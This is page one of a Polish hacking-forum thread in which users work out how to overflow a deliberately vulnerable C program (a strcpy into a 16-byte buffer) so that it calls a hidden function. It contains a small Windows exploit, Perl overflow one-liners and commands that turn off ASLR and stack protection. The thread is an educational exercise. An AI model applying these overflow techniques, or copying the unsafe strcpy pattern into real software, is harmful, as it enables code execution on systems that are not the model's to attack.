Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki 1 do 10 z 12

Temat: Nadpisywanie kopii EIP

  1. #1
    Avatar rafal44
    rafal44 jest offline logout
    Zarejestrowany
    Dec 2007
    Postów
    291

    Domyślnie Nadpisywanie kopii EIP

    Jest sobie taki program:
    Kod:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int sekret()
    {
    printf("sekretna funkcja\n");
    return 0;
    }
    
    int main(int argc,char* argv[])
    {
    if(argc<2){
    printf("podaj parametr\n");
    exit(0);
    }
    char buffer[16];
    strcpy(buffer,argv[1]);
    printf("%s\n",buffer);
    return 0;
    }
    podatny na przepełnienie bufora.
    Kompilacja:
    Kod:
     gcc sekret.c -o sekret -fno-stack-protector
    Fragment wyniku objdump'a:
    Kod:
    08048424 <sekret>:
     8048424:	55                   	push   %ebp
     8048425:	89 e5                	mov    %esp,%ebp
     8048427:	83 ec 08             	sub    $0x8,%esp
     804842a:	c7 04 24 70 85 04 08 	movl   $0x8048570,(%esp)
     8048431:	e8 16 ff ff ff       	call   804834c <[email protected]>
     8048436:	b8 00 00 00 00       	mov    $0x0,%eax
     804843b:	c9                   	leave  
     804843c:	c3                   	ret
    I pytanie jak wywołać funkcję sekret za pomocą buffer overflow, męcze się z tym od dłuższego czasu.
    "a imię jego będzie czterdzieści i cztery"
    A. Mickiewicz Dziady cz. III

  2. #2
    Avatar VLN
    VLN
    VLN jest offline Banned
    Zarejestrowany
    Jan 2008
    Postów
    277

    Domyślnie

    Ok. Pod windą wygląda to tak :

    // Nie obrazisz się trochę kod przerobiłem bo ollego mi się odpalać nie chciało

    Kod:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int sekret()
    {
    printf("sekretna funkcja\n");
    return 0;
    }
    
    int main(int argc,char* argv[])
    {
     printf("Sekretna funkcja 0x%08x\n",sekret);
     if(argc<2)
     {
      printf("podaj parametr\n");
      system("pause");
      exit(0);
     }
    char buffer[16];
    strcpy(buffer,argv[1]);
    printf("%s\n",buffer);
    return 0;
    }
    I tak , konsola zwróciła :

    Kod:
    Sekretna funkcja 0x00401290
    podaj parametr
    Aby kontynuować, naciśnij dowolny klawisz . . .
    Więc analogicznie
    Kod:
    40 12 90
        \|/
        /|\
    90 12 40
    i piszemy sobie sploita :

    Kod:
    #include <windows.h>
    #include <string>
    int main(void)
    {
        char evil[] = "bug.exe aaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\x12\x40";
        WinExec(evil,0);
        system("pause");
        return 0;
    }
    kompilujemy i :



    PS.Pokombinuj trochę kiedyś się uda , za pierwszym razem też trochę nad tym siedziałem

    //Okrągły 256 post
    Pozdrawiam VLN.
    Kod php:
    $zmienna $_POST['COS']; 
    Zamiast tego :
    Kod php:
    $zmienna htmlspecialchars($_POST['COS']); 
    I mamy zabezpieczenie przed XSS

  3. #3
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    VLN zgadza sie ale pytanie chyba brzmi jak bez modyfikacji kodu znalezc adres funkcji ktora choc jest zaimplementowana to nie jest wywolywana przez program.

    Moja wiedza na ten temat jest niewielka raczej - poza prostymi overflowami, ret2libc i tego typu zabawa jestem zielony :P
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  4. #4
    Avatar rafal44
    rafal44 jest offline logout
    Zarejestrowany
    Dec 2007
    Postów
    291

    Domyślnie

    Narazie Linux, pod windą nie wiedziałem co zrobić z zerami w adresie, myślałem o zmniejszeniu adresu o 1, ponieważ czasem funkcje poprzedza instrukcja nop.
    Tak więc:
    Kod:
    [email protected]:~/programowanie$ ./sekret asd
    asd
    Adres funkcji: 0x08048464
    [email protected]:~/programowanie$ ./sekret `perl -e 'print"\x64\x84\x04\x08"x8'`
    d�d�d�d�d�d�d�d�
    Adres funkcji: 0x08048464
    Segmentation fault
    [email protected]:~/programowanie$
    Jak sobie skompiluje bez opcji fno-stack-protector, to mi przynajmniej wywala : stack smashing detected.
    Funkcja istnieje, ma adres w pamięci i może być wywołana, jej adres można znaleźć objdumpem.
    Narazie próbuje wywołać funkcje, potem dopiero shellcody.
    "a imię jego będzie czterdzieści i cztery"
    A. Mickiewicz Dziady cz. III

  5. #5
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Ale na jakim jajku to wywołujesz? Bo jeśli na 2.6, to przy każdym uruchomieniu programu adres funkcji jest inny(randomizacja ), więc nie tak łatwo ją wywołać.

    EDIT: Aha z tego co widzę nie ma u ciebie randomizacji A zobacz może co pokaże:
    Kod:
    gdb program
    (gdb)r `perl -e 'print"\x64\x84\x04\x08"x8'`
    ...
    (gdb)info reg eip
    Ostatnio edytowane przez Ormi : 01-01-2009 - 18:38
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  6. #6
    Avatar rafal44
    rafal44 jest offline logout
    Zarejestrowany
    Dec 2007
    Postów
    291

    Domyślnie

    Ok na windowsie udało mi się, dzięki VLN.
    Ale linux....
    Kernel 2.6. Randomizacja chyba obejmuje stos, a nie całą pamięć programu, zresztą wyłączam ją przed takimi zabawami.
    Sprawdził się mój pomysł jak nadpisać eip adresem zawierającym 0 na końcu. Np adres 0x00401400
    Poprostu zmniejszamy o jeden adres w tym przypadku będzie 0x004013ff.
    Tylko musimy sprawdzić czy przed docelową funkcją jest instrukcja nop, tak jak tu
    Kod:
      
      40128e:	90                   	nop   
      40128f:	90                   	nop    
    
    00401290 <_sekret>:
      401290:	55                   	push   %ebp
      401291:	89 e5                	mov    %esp,%ebp
      401293:	83 ec 08             	sub    $0x8,%esp
    Pamiętam jak próbowałem z shellcodem, to czasem pokazywało: Illegal instruction, a przed shellcodem umieszczałem instrukcje nop (0x90).
    "a imię jego będzie czterdzieści i cztery"
    A. Mickiewicz Dziady cz. III

  7. #7
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Kazdy proces ma 3GB albo 4GB pamieci (wirtualnie) nawet jesli system tyle nie posiada. Poza tym randomizacja adresow nie moze objac calych 32 bit czy 64 bit (zaleznie od architektury) bo bylby smietnik - z tego co wiem najlepsza randomizacje robi PaX (grsecurity) bo potrafi nawet do 27 czy 29 bit randomizowac. Ja wlasnie bawie sie Twoim kodem (w oryginale) na jajku 2.6 z grsecuirty wlasnie (ale randomizacje wylaczylem do testow).

    Zobaczymy czy ukrece jajo czy nie :P

    EDIT:
    No jednak na tym kernelu nie ukrece z uklonem w strone grsecurity:
    Kod:
    bof[26299]: segfault at 0483c43d eip 08048443 esp 0483c43d error 4
    grsec: From xxx.xxx.xxx.xxx: denied resource overstep by requesting 4096 for RLIMIT_CORE against limit 0 for /home/tqm/bof[bof:26299] uid/euid:1000/1000 gid/egid:1000/1000, parent /bin/bash[bash:26156] uid/euid:1000/1000 gid/egid:1000/1000
    Dziekowac... i do tego jeszcze moj IP (na czerwono) w logu
    Ostatnio edytowane przez TQM : 01-01-2009 - 23:34
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  8. #8
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    @rafal44: Hmm... Ja odpaliłem na swoim starym laptopie(kernel 2.4) ten programik i udało mi się bez problemu funkcję sekret wywołać... A robiłem wszystko tak samo jak ty, a to znaczy, że wszystko chyba ok robisz Nie wiem czemu u ciebie nie działa... Nie masz poinstalowanych jakichś dodatkowych zabezpieczeń? Selinux-ów czy tam innych dziadów?

    Aha właśnie coś znalazłem ciekawego
    http://hack.pl/forum/thread4057,buffer_overflow.html
    Taki sam problem jak ty masz.
    Cytat Napisał rafal44 Zobacz post
    Jeżeli dobrze pamiętam to kernel wykrywa próbę nadpisania kopii rejestru EIP i przerywa program. Możesz spróbować na jądrach z serii 2.4. Odpal w virtualboxie,nie musisz instalować. Zresztą zobacz jak ja się z tym bawiłem:

    http://forum.ubuntu.pl/showthread.ph...ghlight=adresy
    @TQM: A gdzie się wyłącza randomizację w kernelu z grsecurity? Sam bym się pobawił w ret2libc, ale nie mogę nigdzie znaleźć gdzie się tą randomizację wyłącza
    Ostatnio edytowane przez Ormi : 01-02-2009 - 09:19
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  9. #9
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Randomizacje mozna wylaczyc podczas kompilacji - nie jestem pewien czy pozniej da sie cokolwiek rpzez sysctl nawet jesli masz wlaczone - nie sadze, bo to zepsuloby dzialajacy kernel - za duza modyfikacja chyba aby ja robic "w locie". Swoja droga trzeba sprawdzic

    Ten kernel bez ASLR mam na jednym serwerku w moim malym labie. Widac musze miec cos jeszcze skoro to i tak nie dziala... no chyba, ze tak czy inaczej poszedl stack canary - pomimo kompilacji bez ochrony stosu :P
    Przetestuje nieco pozniej...

    EDIT 1:
    Mam grsec w kernelu, mam wlaczone sysctl i softmode aby moc manipulowac ustawieniami. Wlaczajac sysctl podalem ze domyslnie wszystkie wybrane opcje maja byc aktywne (wiec ASLR tez). Mozna to wylaczyc:

    Kod:
    [email protected]# sysctl kernel.randomize_va_space=0
    Nieco wiecej informacji mozna znalezc tutaj http://e-guardian.org/wordpress/index.php/archives/46
    Ostatnio edytowane przez TQM : 01-02-2009 - 10:05
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  10. #10
    Avatar rafal44
    rafal44 jest offline logout
    Zarejestrowany
    Dec 2007
    Postów
    291

    Domyślnie

    Ja wyłączam randomizacje stosu tak:
    Kod:
    echo 0 > /proc/sys/kernel/randomize_va_space
    Do tego jeszcze wyłączenie opcji ochrony stosu przy kompilacji w gcc
    Kod:
    -fno-stack-protector
    co jest domyślnym ustawieniem.
    Tak bawiłem się kiedyś błędami format string ( trochę zrozumiałem), potem buffer overflow(musiałem odpalać na virtualboxie, więc były problemy),potem zająłem się czymś innym (PHP, algorytmy, bardzo dużo c/cpp, nawet trochę asm) i większość zapomniałem.
    Teraz zaczynam wszystko od początku...
    może najpierw spróbuje na kernelu 2.4, bo wydaje mi się, że to powinno się udać, a tutaj segmentation fault.
    "a imię jego będzie czterdzieści i cztery"
    A. Mickiewicz Dziady cz. III

Strona 1 z 2 12 OstatniOstatni

Podobne wątki

  1. Zdobycie kopii mySQL
    By Tetriando` in forum Hacking
    Odpowiedzi: 15
    Autor: 10-28-2008, 15:15

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj